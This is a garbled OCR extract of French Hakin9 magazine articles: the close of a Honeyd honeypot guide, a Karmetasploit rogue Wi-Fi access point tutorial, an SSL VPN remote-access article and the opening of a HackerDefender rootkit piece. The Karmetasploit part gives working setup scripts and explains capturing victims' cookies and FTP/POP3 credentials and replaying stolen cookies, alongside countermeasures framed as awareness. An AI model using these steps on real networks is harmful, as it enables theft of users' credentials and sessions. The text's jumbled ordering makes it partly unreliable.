Interesting ports on 10.3.0.12: Not shown: 1711 closed ports PORT 21/tcp open 22/tcp open 23/tcp open 80/tcp open STATE SERVICE ftp ssh

at 2009-06-01 20:16 CEST

Dmarrage dHoneyd

privileges to uid 65534, gid 65534

A prsent que la configuration dHoneyd est entirement termin et nos faux services paramtr, il est ncessaire de dmarrer Honeyd. La commande de contrle de notre honeypot Honeyd comporte plusieurs options :
Option d : Lance en mode interactif Option f : Prcise le fichier de

Lun des problmes rcurrents lors du lancement dHoneyd est la gestion des privilges sur les fichiers ainsi que sur les dossiers. Il est donc essentiel de donner lensemble des droits aux fichiers/dossiers lutilisateur honeyd ainsi quau groupe honeyd (Pensez la commande chown et chmod ). Dans le cas contraire, il est possible davoir cette erreur.
honeyd[3536]: honeyd_logstart: fopen("/var/log/honeypot/ honeyd.log"): Permission denied

telnet http

Nmap done: 1 IP address (1 host up) scanned in 0.587 seconds

Il est possible de faire des tests afin de vrifier que nos services fonctionnent :
nocrash:~# ftp

configuration utiliser Option p : Fichier contenant les empreintes dOS Option l : Indique le chemin complet vers les logs de paquet Option i : Indique linterface utiliser si vous en possdez plusieurs

ftp> open 10.3.0.12

Connected to 10.3.0.12. 220 debian. FTP server (Version wu-2.6.0(5) lundi 1 juin 2009, 20:27:25 (UTC+0200)) ready. Name (10.3.0.12:nocrash): anonymous

nocrash:~# honeyd

-p /etc/honeypot/nmap.prints -f /etc/honeypot/honeyd.conf -i lo 10.0.0.0/8 -d

Nous allons maintenant relancer honeyd sans loption -d permettant de le lancer en tant que dmon . Il est possible de vrifier que le dmon honeyd est bien prsent en vrifiant les processus actifs :
nocrash:~# ps aux | grep honeyd nobody ? 3684 Ss 0.0 19:17 0.1 4636

La connexion au serveur FTP fonctionne correctement

-l /var/log/honeypot/honeyd.log

La commande suivante permet donc de lancer Honeyd en mode interactif (option -d ), en spcifiant le fichier de log /var/ log/honeypot/honeyd.log (option -l), en utilisant le fichier de configuration par dfaut /etc/honeypot/honeyd.conf (option -f), en utilisant les empreintes dOS prsentes dans le fichier /etc/honeypot/
56 HAKIN9 5/2009

bin/honeyd -f /etc/honeypot/ honeyd.log -p /etc/honeypot/

0:00 /usr/

2616

Honeyd est donc entirement mis en place, il est alors possible de pouvoir leurrer des attaquants potentiels. Il est possible de raliser dimportant honeypot grce honeyd.

honeyd.conf -l /var/log/honeypot/ nmap.prints -a /etc/honeypot/

Rgis Senet

nmap.assoc -0 /etc/honeypot/pf.os -x /etc/honeypot/xprobe2.conf -i eth0 10.0.0.0/8 -u 108 -g 116 --disable-webserver debian:/var/log#

Rgis SENET est actuellement tudiant en quatrime anne lcole Suprieur dinformatique Supinfo. Passionn par les tests dintrusion et les vulnrabilits Web, il tente de dcouvrir la scurit informatique dun point de vue entreprise. Il est actuellement en train de sorienter vers le cursus CEH, LPT et Offensive Security. Contact : regis.senet@supinfo.com Site internet : http://www.regis-senet.fr Page d'accueil : http://www.honeyd.org/

LIONEL GUEDON

TECHNIQUE Simulation

d'un faux point d'accs Wi-fi avec Karmetasploit


Cet article prsente une technique utilise pour pouvoir gnrer un faux point d'accs Wi-fi a partir de l'application Karmetasploit prsente dans la distribution Backtrack Linux afin de pouvoir subtiliser des mots de passe et autres cookies d'un client s'y connectant. Il a pour but de sensibiliser les personnes des risques encourus lorsqu'ils se connectent a un Hotspot Wifi non scuris. Il dcrit aussi d'ventuels prcautions a prendre pour se protger.
Description du projet Karmetasploit
condition que votre PC soit assez rcent afin de pouvoir booter dessus.

Degr de difficult

Karmetasploit est un outil bas sur Metasploit, airbase-ng et bien sur Karma permettant de gnrer un faux point d'accs a partir de votre carte Wi-fi. A l'origine, Karma fonctionnait uniquement avec les cartes a base de chipset Atheros supportant l'injection de paquets. Cependant, Metasploit a donc ralis Karmetasploit afin de coupler Karma et airbase-ng pour pouvoir prendre en compte plus de modles. Il est maintenant inclus dans la distribution Linux Backtrak depuis la version 3 et dernirement la 4 en version bta.

Installation

Dans cet article est utilis la version 3 de Backtrack en mode Live-cd. Il faut donc paramtrer la section Boot du BIOS de votre PC avec le lecteur de CD/DVD-Rom en premier avant d'insrez le DVD. Aprs la squence de dmarrage, il faut slectionner l'environnement pour xecuter Backtrack. Pour ma part, je le lance toujours en mode KDE.

Identification du priphrique Wifi et test d'injection

Configuration utilis

CET ARTICLE EXPLIQUE...


Comment crer un faux point d'accs avec une carte Wi-fi sous Backtrack. Comment essayer de se protger.

CE QU'IL FAUT SAVOIR...


Utiliser le systme Linux, Notions de base des protocoles TCP/IP et du WI-FI. 58 HAKIN9 5/2009

Dans cette mise en pratique est utlis un PC a base de Pentium IV avec 512 Mo de RAM muni d'un lecteur de DVD, d'un disque dur de 80 Go, d'une carte Ethernet et d'un port PCMCIA dans lequel est connect une carte Wireless NETGEAR WG511T a base de chipset Atheros. Il est aussi ncessaire d'avoir le DVD-Rom de la distribution oriente scurit Backtrack Linux tlchargeable sur le site de remote-exploit (voir encart Internet). L'utilisation de celui-ci peut se faire sous forme de live-cd afin d'viter d'endommager votre systme d'exploitation. Sinon, il peut s'installer comme un OS classique sur votre disque dur ou alors sur une cl USB a

Dans un shell, taper la commande airmon-ng afin de connaitre la nomination de votre carte sans-fil par le systme d'exploitation. Ici, ce sera ath0 pour la suite. Puis nous allons en premier tester si notre carte est capable de supporter l'injection de paquets rseau afin d'tre apte a raliser le faux point d'accs. Dans un shell tapez ce qui suit :
aireplay-ng -9 ath0

Si votre carte fonctionne correctement, le message '' injection is working '' doit s'afficher. N.B : Il est possible de trouver la liste des cartes compatibles Backtrack sur le site indiqu dans l'encart Internet.

FAKE_AP
Mise a jour de aircrack-ng et de Metasploit
Afin de pouvoir utiliser Karmetasploit correctement, il faut mettre jour la version trunk d'aircrack-ng a partir d'Internet sachant qu'ici ma carte Ethernet identifi eth0 est connect a un modem routeur ADSL (voir Figure 1.). Pour cela, toujours dans un shell taper :

svn co http://trac.aircrack-ng.org/ cd aircrack-ng make make install svn/trunk aircrack-ng

Puis c'est au tour de Metasploit d'tre mis a jour. En ligne de commande cela donne :
cd /pentest/exploits/framework3 svn update

Figure 1. Schma rseau

ou alors avec l'interface graphique via le menu KDE, Backtrack, Penetration, Framework version3 et Framework3 MsfUpdate.

Mise en place du serveur DHCP

Ensuite, il nous faut mettre en place un serveur DHCP afin de pouvoir proposer un service d'adressage IP automatique aux clients qui se connecteront a notre faux point d'accs. Le serveur DHCP tant actif de base dans Backtrack3, il nous faut ditez son fichier de configuration, pour cela dans un shell tapez :
kedit /etc/dhcpd.conf

Figure 2. Visibilit du Soft-AP Rfrer vous au listing 1 pour voir celui qui est utilis ici, puis modifier le en fonction de vos besoins.

Cration du Soft Access Point

Listing 1. Contenu du fichier de configuration du serveur DHCP


ddns-update-style ad-hoc; option subnet-mask option routers subnet 192.168.2.0 netmask 255.255.255.0 { option broadcast-address option domain-name-servers option domain-name

Maintenant nous allons crer le script permettant de simuler notre faux point d'accs. Pour cela tapez :
kedit Soft-AP.sh

255.255.255.0; 192.168.2.255; 192.168.2.1;

192.168.2.1;

range dynamic-bootp 192.168.2.3 192.168.2.50; default-lease-time 21600;

"domain.com";

Puis copiez le contenu du listing 2 sachant qu'a la place de Soft AP vous pouvez mettre ce que voulez comme SSID, les guillemets servant a lier celui-ci en cas d'espace. Il vous faudra aussi modifier wifi0 en fonction
5/2009 HAKIN9 59

TECHNIQUE
de la dsignation de votre carte rseau sans-fil. Sauvegarder le tout et rendez le excutable :
chmod +x Soft-AP.sh

Sinon, pour l'utiliser, il faut faire en ligne de commande :


./Soft-AP.sh

Figure 3. Chargement des modules du serveur Karma

ou alors double cliquer dessus avec la souris. Nous pouvons ensuite vrifier si notre Soft-AP est visible depuis l'extrieur (voir Figure 2.).

Cration du script Karma

Il nous reste plus qu'a crer le script pour pouvoir lancer Karma. Celui-ci doit se trouver dans /pentest/exploits/ framework3/karma.rc. Dans le cas ou il n'y serait pas, il est possible de le tlcharger sur le site de Metasploit (voir encadr '' Sur Internet ''). Dans un nouveau shell, il vous faut tapez :
kedit karma.sh

Figure 4. Page de connexion Internet du PC de la victime

Figure 5. Karmetasploit en action


60 HAKIN9 5/2009

Puis recopiez le contenu du listing 3. Sauvegarder le et rendez le excutable comme le script du SoftAP. Au lancement de celui-ci, le serveur charge ses modules en crant en premier une base de donnes SQLite3 nomme karma.db dans /root (voir Figure 3.) afin d'y enregistrer toutes les informations transitant par notre faux point d'accs. Une fois que le serveur a fini de dmarrer et que la victime s'y soit connect depuis une machine Windows, celle-ci tentera alors d'accder a Internet mais ne pourra pas dans ce cas l. Elle verra s'afficher la page de connexion par dfaut de Karmetasploit nomm Hotel Guest Wireless Services (voir Figure 4.). Pendant ce temps-l, l'exploit Windows SMB_Relay va xcuter des frames invisibles permettant de capturer des cookies de plusieurs sites connus (on peut voir ceux-ci dfiler en bas a gauche du navigateur Internet de la victime ainsi que

FAKE_AP

5/2009 HAKIN9

61

TECHNIQUE
Listing 2. Contenu du fichier du faux point d'accs logiciel
#!/bin/bash # Kill dhcpd et airbase-ng echo -n "Kill dhcpd et airbase-ng" killall -9 dhcpd airbase-ng echo "Done." # Arrt du mode moniteur de l'interface ath0 echo -n "Arrt interface ath0" airmon-ng stop ath0 echo "Done." # Redmarrage de l'interface WLAN en mode moniteur echo -n "Redmarrage interface WLAN" airmon-ng start wifi0 modprobe tun echo "Done." # Paramtrage du SoftAP avec les pilotes MadWifi echo -n "Paramtrage du Soft-AP" ifconfig ath0 down wlanconfig ath0 destroy wlanconfig ath0 create wlandev wifi0 wlanmode ap ifconfig ath0 up iwconfig ath0 essid "Soft AP" mode master iwconfig ath0 channel 6 echo "Done." # Paramtrage IP et mtu de ath0 echo -n "Paramtrage IP et mtu de ath0" ifconfig ath0 192.168.2.1 netmask 255.255.255.0 ifconfig ath0 mtu 1400 echo "Done." #Routage par dfaut echo -n "Paramtrage de la route par defaut" route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1 echo "Done." #Cration du fichier dhcpd.leases echo -n "Cration du fichier dhcpd.leases" touch /var/state/dhcp/dhcpd.leases echo "Done." # Redmarrage du service DHCPD echo -n "Redmarrage du service DHCPD" /usr/sbin/dhcpd -cf /etc/dhcpd.conf echo "Done."

dans le terminal de notre serveur montr dans la Figure 5.) et aussi des identifiants de connexion de type FTP et POP3. Il est possible de modifier l'index.html du site de Karmetasploit ainsi que le fichier sites.txt contenant les URL cibles en vous rendant dans le rpertoire /pentest/exploits/ framework3/data/exploits/capture/http/. Une coute du trafic rseau est effectu en parralle avec le sniffeur tcpdump afin d'essayer de collecter d'autres informations plus sensibles.

Recommandations pour la bonne mise en oeuvre de l'attaque

Il est recommand de positionner votre point d'accs Wi-fi sur un canal peu ou pas utilis dans votre environnement afin de ne pas crer de perturbations. Afin de palier aux problmes de connectivit limit du cot de la victime, il faut veiller aussi a dsactiver le filtrage MAC de votre routeur si vous partagez votre accs a Internet avec elle. Ceci permettra alors de faire une attaque de type man in the middle en sniffant tout ce qui passe ou bien en l'attaquant.

Utilisation et exploitation des rsultats de l'attaque Exploitation des rsultats de la base de donnes

Listing 3. Script de lancement de Karma


#!/bin/bash # Kill des processus actifs ncessaires echo -n "Kill tcpdump" killall -9 tcpdump echo "Done." # Ecoute du rseau Wi-fi a travers ath0 avec Tcpdump echo -n "Lancement du script karma" tcpdump -ni ath0 -s 0 -w /pentest/wireless/karma-msf-scripts-0.01/Fake _ AP _ results.cap >/dev/null 2>&1 & echo "Done." # Lancement du script karma echo -n "Lancement du script karma" /pentest/exploits/framework3/msfconsole -r /pentest/exploits/framework3/ karma.rc

Les donnes inscrites dans la base sont consultables en tapant la commande db_notes dans le shell du serveur karma. L'ensemble des commandes est disponible en faisant help. Afin de rendre plus simple la lisibilit des rsultats (ici pour ceux en html), il est possible de crer une page Web a partir de la base de donnes. Pour cela dans un nouveau shell en vous positionnant dans le rpertoire hbergeant karma.db, il suffit de taper ce qui suit en respectant bien la syntaxe suivante :
sqlite3 karma.db .mode html .output karma.html

select * from notes;

Il ne reste plus maintenant qu'a l'ouvrir dans un navigateur Internet (voir Figure 6.)

62 HAKIN9 5/2009

FAKE_AP

Glossaire
Cookies Petit fichier texte contenant les identifiants de connexion permettant a un internaute de s'identifier sur un site sans avoir a les retaper a chaque fois, SSID Acronyme de Service Set Identifier. Il s'agit d'un nom identifiant un rseau sans-fil selon la norme IEEE 802.11, Frames Signifie en Franais '' cadres ''. Il est possible dsormais d'afficher plusieurs pages HTML dans diffrentes zones, Attaque Man in the middle Signifie en Franais attaque de l'homme du milieu. Dans ce cas, l'attaquant est capable de lire, insrer et modifier les messages chiffrs entre deux parties.

Figure 6. Base Karma dans une page HTML

et rechercher les informations qui vous semblent intressantes.

Exemple d'exploitation des rsultats du fichier de capture

Figure 7. Exemple d'une capture http dans Wireshark


nous intressent, il suffit d'appliquer un filtre du protocole recherch en tapant par exemple http dans le champ Filter. Pour reprer un cookie, il suffira de taper http.cookie. Pour pouvoir s'en servir, il faudra slectionner la ligne intressante et l'exporter dans un emplacement de votre choix, puis ensuite on pourra l'importer dans Firefox a l'aide d'une extension nomme Add N Edit Cookies et ainsi vous serez identifis sur le site a l'aide du cookie prcdemment vol. pas celui de Windows XP, il faudra a ce moment la en installer un autre.

Le fichier de capture Fake_AP_results.cap cr par Tcpdump est disponible dans le dossier des scripts de Karmetasploit (/pentest/wireless/karma-msf-scripts-0.01/). Celui-ci peut-tre ouvert dans Wireshark. Pour le lancez, tapez dans un terminal :
wireshark

Utilisation d'un VPN (Virtual Private Network)


Il faudrai ausi utiliser une connexion VPN afin de crypter le trafic rseau entre votre ordinateur et le systme distant.

Conclusion

Puis cliquer sur File et open. Afin de pouvoir trouver les informations qui

Contre-mesures prventives

Sur Internet
http://www.remote-exploit.org/backtrack_ download.html tlchargement de la distribution Backtrack, http://wiki.backtrack-fr.net/index.php/ Compatibilit_Matrielle liste de matriel compatible avec Backtrack, http://bricowifi.blogspot.com site francophone sur la scurit informatique, http://www.crack-wpa.fr site francophone sur le Wi-fi, les rseaux et la scurit informatique, http://metasploit.com/users/hdm/tools/ karma.rc script Karmetasploit a tlcharger http://backtrack-fr.net portail francophone fournissant de la documentation sur Backtrack ainsi que les divers logiciels fournis avec.

En se connectant a un Hotspot, il est conseill d'adopter certaines mesures prventives. Dsactivation de la connexion automatique du gestionnaire de rseaux sans-fil Windows. Il est plus sr de se connecter manuellement soi-mme a un rseau sans-fil plutt que de laisser Windows le faire tout seul. Pour cela, il faut dsactiver la connection automatique en allant dans les Proprts des rseaux sans-fil et dcocher la case '' Me connecter ce rseau lorsqu'il est a porte '' dans l'onglet Connexion.

En conclusion, nous avons p voir dans cet article comment mettre en oeuvre de manire simple un point d'accs Wi-fi libre pot de miel. Sans vouloir tre paranoaque, il est prfrable d'viter de se connecter a des Hotspots ou a des rseaux Wi-fi inconnus non scuriss ni mme ceux protgs par cl WEP. Privilgiez ventuellement ceux avec du WPA ou WPA2. D'autres outils sont disponibles dans Backtrack tel que Airsnarf qui a pour but pur et simple de voler des identifiants de connexions Wi-fi en mettant en place une page Web ressemblant a s'y mprendre a un vritable Hotspot publique. Je vous recommande vivement d'aller vous informer de ce qui se fait en allant consulter les sites cits dans l'encart Internet dont est tir cet article. propos de l'auteur
L'auteur travaille depuis bientt six ans dans une SSII en tant que Technicien Rseaux Informatiques dans le dploiement et la maintenance de solutions sans-fil. Il est passionn par les ordinateurs depuis son enfance et par la scurit informatique depuis plusieurs annes. 5/2009 HAKIN9 63

Paramtrage du Firewall
Il est vivement recommand de paramtrer le firewall afin qu'il puisse bloquer toutes les requtes entrantes. Celui de Windows Vista le permet mais

TONY FACHAUX

TECHNIQUE Scuriser

les accs distants au systme d'information


L'article prsente d'une manire gnrale les moyens techniques mettre en uvre pour scuriser les accs distants au systme d'information. Cette scurisation passe par la mise en place d'une passerelle VPN SSL afin de contrler les accs externes aux ressources de l'entreprise. Dans cet article, des exemples utilisant la technologie VPN SSL de Juniper seront abords.

Degr de difficult

ujourd'hui, il est de plus en plus commun de devoir accder une ressource de la socit depuis l'extrieur de celleci. Consulter ses mails ou une information technique, terminer un dossier, accder l'intranet de l'entreprise : autant d'actions qui ncessitent un accs externe au systme d'information. Ces informations sont, dans la majorit des cas, confidentielles. De ce fait, il convient de mettre en place une infrastructure d'accs scurise l'aide d'une passerelle VPN SSL ainsi qu'une bonne politique de scurit au niveau des postes clients. Dans cet article, l'aspect poste client sera abord de manire brve. Nous y reviendrons plus largement dans un article consacr ce sujet.

Principe de fonctionnement
Fonctionnement gnral
Afin de mettre en uvre ce fonctionnement, il convient donc d'installer une passerelle VPN SSL. Ce principe de fonctionnement est relativement simple et est illustr sur la figure 1.

Architecture technique
Vous trouverez sur la figure 2, un schma d'architecture-type montrant le fonctionnement technique de ce type de passerelle. La passerelle VPN SSL est gnralement positionne en DMZ derrire un firewall puisqu'elle est accessible depuis Internet. L'utilisateur accde alors cette passerelle en HTTPS l'aide d'un navigateur web (1). En effet, tous les flux en provenance d'Internet et destination de la passerelle VPN SSL sont chiffrs pour garantir l'intgrit des donnes. L'utilisateur doit alors s'authentifier sur la passerelle. Pour ce faire, la passerelle effectue une demande d'authentification auprs d'un serveur d'authentification qui se situe sur le LAN (2). Ce serveur d'authentification est gnralement de type Active Director y de Microsoft. L'authentification peut aussi se faire l'aide d'une base LDAP quelconque comme OpenLDAP ou autre. Suite une authentification russie, la passerelle connat

Pourquoi un accs distant scuris ?


CET ARTICLE EXPLIQUE...
L'architecture mettre en uvre pour scuriser les accs distants. Le principe de fonctionnement d'une passerelle VPN SSL.

CE QU'IL FAUT SAVOIR...


Quelques notions sur le protocole SSL. Ce qu'est un VPN 64 HAKIN9 5/2009

La mise en uvre d'un accs distant scuris est ncessaire lorsque le systme d'information doit tre ouvert certains partenaires, dans le cas du tltravail ou d'utilisateurs nomades. Ces besoins sont aujourd'hui monnaie courante au sein des organisations, c'est pourquoi il devient quasi indispensable de disposer de ce type d'architecture au sein du systme d'information. De plus, cela amliore grandement la productivit des salaris qui peuvent avoir accs leurs ressources depuis n'importe quel poste dans le monde.

SCURISER LES ACCS DISTANTS


ressources afin d'tre le plus restrictif possible sans pour autant brider les utilisateurs. A chaque rle, nous avons la possibilit de faire correspondre une page d'accueil diffrentes avec une URL spcifique, c'est ce qu'on appelle les sign-in policies chez Juniper. Vous trouverez un exemple de page d'accueil sur la figure 5.

Utilisateur

Internet

Firewall

VPN SSL

Firewall

LAN

Figure 1. Principe de fonctionnement. les ressources auxquelles l'utilisateur pourra avoir accs (3) et les affiche sur la page Web (4). la figure 4 la page d'administration qui permet de crer un rle avec un Juniper VPN SSL. Comme on peut le voir sur cette capture d'cran, les possibilits de configuration sont assez impressionnantes. Les options sont, pour la plupart, trs intuitives, et elles dpendent fortement des besoins de la socit. Je ne les dtaillerai donc que brivement. Il faut tout d'abord dterminer ce que le rle aura le droit de faire (accs web, accs aux fichiers, accs Telnet, etc.). A cet instant, il est possible d scuriser le rle en autorisant par exemple certaines IP se connecter avec ce rle. Ensuite, il suffit l'aide des diffrents onglets de dterminer les ressources pour le rle (accs fichiers, accs web, Telnet, etc.). La configuration des rles est donc techniquement trs simple raliser mais doit tre bien rflchie. Cette tape est plutt fonctionnelle. Il y a donc une partie tude en amont qui est importante pour bien segmenter l'accs aux

Mise en uvre technique

Le royaume d'authentification

Diffrents lments techniques sont mettre en uvre pour configurer ce type de passerelle. Nous allons ici prsenter les dif frentes tapes d'implmentation bases sur la technologie VPN SSL de Juniper. Sachez nanmoins que ces lments se retrouvent chez tous les constructeurs. Le concept est identique.

Organigramme d'accs
Voici dans la figure 3 toutes les tapes ralises par la passerelle avant de donner accs aux ressources l'utilisateur.

Les mthodes d'accs


Il existe trois modes d'accs aux ressources avec une plateforme VPN SSL. On peut donner un accs aux ressources l'aide d'une simple page Web, une applet Java ou un composant ActiveX qui permet uniquement certaines applications d'tre encapsules dans la passerelle, ou encore, dernire possibilit, l'aide d'un client lourd qui permet d'encapsuler l'intgralit des flux du poste client dans le VPN SSL.

Une fois les rles crs, il faut maintenant crer un royaume d'authentification qui sera bas sur un serveur d'authentification. Les serveur d'authentification peuvent tre de tout type (NIS, AD, LDAP, RADIUS, etc.). Il suffit simplement de le dfinir. Gnralement, c'est un serveur Active Directory qui est dclar. Aprs la cration de ce royaume d'authentification, il faut configurer le rle mapping. Tous les rles prcdemment crs vont tre mapps ce royaume sous forme de rgles. Par exemple, si l'utilisateur est Hakin9, alors on lui attribue tel ou tel rle. Ou encore, si l'utilisateur fait partie de tel groupe dans l'Active Directory, alors il aura tel ou tel rle.

Les applications client-serveur


Certaines applications clientser veur ncessitent la mise en uvre

Utilisateur

Router oprateur

Firewall

LAN Annuaire dauthentification

Les rles et les ressources


Avant toute chose, il convient de dterminer les diffrents rles, c'est-dire les diffrents types de populations de la socit avec leurs diffrentes ressources respectives. Gnralement, on dcoupe la socit en fonction des mtiers (commerciaux, ingnieurs, comptable, etc.). Il convient donc de crer ces diffrents rles avec l'accs aux ressources. Vous trouverez sur
Internet
DMZ

Serveur de fichiers

Serveur de fichiers

Serveur WEB

Serveur FTP

VPN SSL

Figure 2. Schma d'architecture type de mise en uvre d'une passerelle VPN SSL.
5/2009 HAKIN9 65

TECHNIQUE
Quelles diffrences entre VPN IPSec et VPN SSL ?
Nous ne parlons ici que de VPN SSL mais certains se demandent srement quelles sont les diffrences entre un VPN SSL et un VPN IPSec. Derrire le terme VPN se cache gnralement le protocole IPSec, VPN SSL tant plus souvent utilis sous les termes d'extranet, accs distant scuris ou encore passerelle scurise. Le VPN SSL dans le cas d'un accs distant scuris prsente de nombreux avantages. En effet, il permet aux utilisateurs d'avoir accs aux ressources de la socit l'aide d'un simple navigateur web et d'un login/mot de passe. A contrario, le VPN IPSec ncessite l'installation d'un client lourd sur le poste client. Il ncessite aussi une intervention beaucoup plus lourde de la part de l'utilisateur. De plus, le VPN IPSec est beaucoup plus complexe mettre en uvre. Il est donc prconiser dans le cas d'interconnexion entre sites distants puisque cette connexion doit tre permanente. En revanche, dans le cas d'accs distants scuriss, la technologie VPN SSL est de loin la plus souple et la plus facile mettre en uvre.

d'lments spcifiques. Le cas le plus courant est l'utilisation d'Outlook. Cela ne peut se faire l'aide d'un navigateur web, il faut donc encapsuler le flux d'Outlook dans le tunnel VPN SSL. Pour ce faire, il existe dif frentes

mthodes avec les VPN SSL de Juniper : J-SAM - La technique J-SAM (pour Java SAM) utilise une applet Java pour rediriger les requtes d'Outlook

au sein du tunnel. Il faut au pralable avoir autoris Outlook au niveau des ressources policies du rle. W-SAM W-SAM (pour Windows SAM) possde un fonctionnement similaire J-SAM sauf qu'il utilise un ActiveX plutt qu'une applet Java. Network Connect Network Connect est une technique qui permet d'encapsuler l'ensemble des applications dans le tunnel. Network Connect installe un client lourd sur le poste de travail et permet l'utilisateur d'avoir accs l'ensemble des ressources de la socit comme s'il tait directement connect au bureau. Le fonctionnement technique de Network Connect est dtaill dans la figure 6.

Il faut savoir qu'il existe deux modes de fonctionnement chez Juniper : le split tunnel et le no split tunnel. Lorsque le poste de travail utilise network connect, une interface rseau logique est cre au niveau des paramtres rseau du poste. En mode split tunnel, les flux de l'interface logique sont encapsuls dans le tunnel SSL tandis que les flux de l'interface physique passent directement par Internet sans passer par le tunnel. Cela permet de n'encapsuler que les flux de la socit. En revanche, en mode no split tunnel, tous les flux passent par le tunnel SSL (l'interface physique et l'interface logique).

La scurit du poste client


A l'aide du VPN SSL, il est aussi possible de configurer des options de scurit pour le poste client. Host Checker Le Host Checker permet de vrifier l'intgrit du poste utilisateur. Les bonnes pratiques consistent vrifier la version de l'antivirus afin de valider que le poste utilisateur utilise l'antivirus de la socit. Il convient aussi de vrifier la date de dernire mise jour des signatures. A ce moment, il est conseill d'interdire l'accs au poste

Figure 3. Organigramme d'accs.


66 HAKIN9 5/2009

SCURISER LES ACCS DISTANTS


d'une cl de registre (pour un poste Windows) que seul les postes de la socit possdent. Si l'une de ces conditions n'est pas remplie, alors le poste client ne doit pas accder au rseau de l'entreprise et un message d'erreur doit lui tre retourn. Cache Cleaner Une autre fonctionnalit intressante mettre en uvre concernant la scurit du poste client est le cache cleaner. Cette fonctionnalit supprime automatiquement la fermeture de la session des informations de type login / mot de passe qui aurait pu tre enregistres au cours de la session.

Figure 4. Cration d'un rle.

Ces fonctionnalits sont intressantes mais ne suffisent pas compltement protger les postes nomades. Nous verrons dans un prochain article les moyens mettre en uvre pour scuriser efficacement les postes nomades.

Conclusion

Figure 5. Page d'authentification.

Poste utilisateur

Internet

VPN SSL

LAN de la socit 192.168.1.0/24

Au cours de cet article, nous avons vu qu'il est aujourd'hui quasi indispensable d'ouvrir son systme d'information pour le bon fonctionnement de la socit. Cette ouverture engendre un besoin en scurit trs important afin d'viter au maximum la fuite d'information de la socit. Pour ce faire, rappelons juste qu'il faut mettre en uvre une passerelle d'accs VPN SSL afin d'of frir un portail d'accs scuris aux utilisateurs. L'ensemble des moyens techniques t abords de manire gnral dans cet article mais sachez que les possibilits sont multiples et qu'elles varient d'une socit l'autre en fonction des besoins de cette dernire.

Figure 6. Fonctionnement de Network Connect.

propos de l'auteur

si les signatures ont plus de 30 jours d'anciennet. Il convient aussi de vrifier le systme d'exploitation du poste client. Il est aussi possible

de vrifier la prsence d'un process ou encore celle d'un port. Enfin, pour renforcer cette vrification, il est conseill de vrifier la prsence

L'auteur travaille en tant qu'ingnieur scurit chez Orange Business Services. Son mtier : concevoir et mettre en uvre des architectures de scurit pour des clients grands comptes. Diplm d'un Mastre en Scurit Informatique l'EPITA, il se passionne pour les technologies de scurit de l'information.

5/2009 HAKIN9

67

CHRIS GATES, CISSP, GCIH, C|EH, CPTS

DBUTANTS Rootkit

HackerDefender Un Rootkit "grand public"


Tous les mois, les derniers exploits 0-Day sont publis et font le bonheur des hackers du monde entier. Les professionnels de la scurit des quatre coins du monde se prcipitent sur les sites Web qui publient les derniers exploits afin de les tudier et comprendre leur mthodologie d'accs aux ordinateurs distants.

Degr de difficult

CE QUE VOUS APPRENDREZ...


Comment utiliser le rootkit HackerDefender Cacher des fichiers, processus, et cls de registre Utilisation d'un client backdoor.

CE QUE VOUS DEVEZ SAVOIR...


Comment utiliser Windows et son systme de fichiers Les fondamentaux sur les rootkits Windows Utilisation de l'interprteur de commandes Windows 68 HAKIN9 5/2009

outefois, les attaquants ne cherchent pas uniquement accder au systme. Ils veulent obliger leurs victimes effectuer certaines actions. Dans le milieu de la scurit informatique on dit souvent qu'il est plus facile d'accder un systme que d'y rester. Il existe plusieurs mthodes pour maintenir des accs un systme : crer des comptes, casser des mots de passe, placer des troyens, portes drobes (backdoors), et bien sr utiliser des rootkits. Dans le cadre de cet article nous allons discuter des rootkits en abordant des notions de base, puis nous nous pencherons sur l'utilisation du rootkit HackerDefender[1] pour Windows. Avant de dmarrer, je voudrais me prsenter rapidement et ensuite vous expliquer l'objectif de cet article. Je ne suis pas un programmeur ni un dveloppeur de rootkits. En revanche, je suis consultant en scurit informatique et je dispense des cours. J'ai suivi et j'ai dispens de nombreux cours de hacking. Par ailleurs, j'ai obtenu de nombreuses certifications ayant trait au hacking. J'ai constat que la plupart des cours dans le domaine des rootkits sont relativement succincts. Parfois ils sont rsums en quelques paragraphes qui renvoient eux-mmes sur des sites web. Bref, rien de trs rjouissant ! Il m'arrive mme de Voir des tudiants extrmement motivs s'arrter en chemin cause du manque d'informations sur l'installation, l'utilisation et le dploiement des rootkits. Mon but est de guider le lecteur dans la mise en place d'un fichier de configuration HackerDefender, puis

d'exposer quelques techniques permettant d'installer un rootkit sur le systme de la victime. Pour terminer, j'expliquerai le rle et la mthode pour interagir avec un rootkit en utilisant une porte drobe (backdoor) et celles utilises dans le fichier de configuration du rootkit. L'article n'est pas pour but d'tre exhaustif. Par consquent je n'aborderai pas les notions avances (ex : restauration systme suite une attaque par rootkit). En revanche, j'aborderai le dploiement ainsi que l'utilisation des rootkits une fois le systme compromis. Outre cet article, j'indiquerai au lecteur d'autres lectures & ressources sur ce sujet. Mon objectif est avant tout d'apporter des rponses aux lecteurs qui se disent Bien, mais je fais quoi maintenant ? C'est LA question que tout le monde se pose une fois HackerDefender install.

Qu'est-ce qu'un rootkit ?

Un rootkit est un logiciel qui permet un attaquant de masquer sa prsence sur un systme tout en lui permettant d'y revenir a son gr. Le terme rootkit dsignait l'origine un ensemble d'outils utiliss pour accder et conserver un accs sur les systmes UNIX. La plupart de ces outils comportaient des troyens ou des copies altres de fichiers binaires essentiels au systme d'exploitation. En modifiant ces fichiers, un utilisateur malveillant pouvait masquer sa prsence et ainsi viter d'tre identifi par les administrateurs systme. Sous Windows, les rootkits sont dfinis de manire plus prcise. Ils dsignent des programmes qui utilisent des techniques de hooking et/ou modification

ROOTKIT
de fichiers, processus, cls de registre, et autres objets afin de dissimuler des programmes / actes malveillants. Il est noter que la plupart des rootkits Windows n'incluent pas de fonctionnalit permettant d'obtenir des privilges administrateur. En fait, de nombreux rootkits sous Windows ne peuvent fonctionner qu'avec des privilges administrateur [2]. Par ailleurs, il ne faut pas confondre les rootkits et les exploits. Au contraire, les rootkits sont utiliss aprs l'exploit pour maintenir l'accs au systme. Il peut donc s'agir des consquences faisant suite une attaque. Une fois install, un rootkit peut : Cacher des processus Cacher des fichiers et leur contenu Cacher des cls de registre et leur contenu Cacher les ports ouverts et les canaux de communication Capturer et enregistrer les frappes clavier (ex : key logger) Sniffer des mots de passe dans un rseau local (LAN).

Rootkits en mode utilisateur


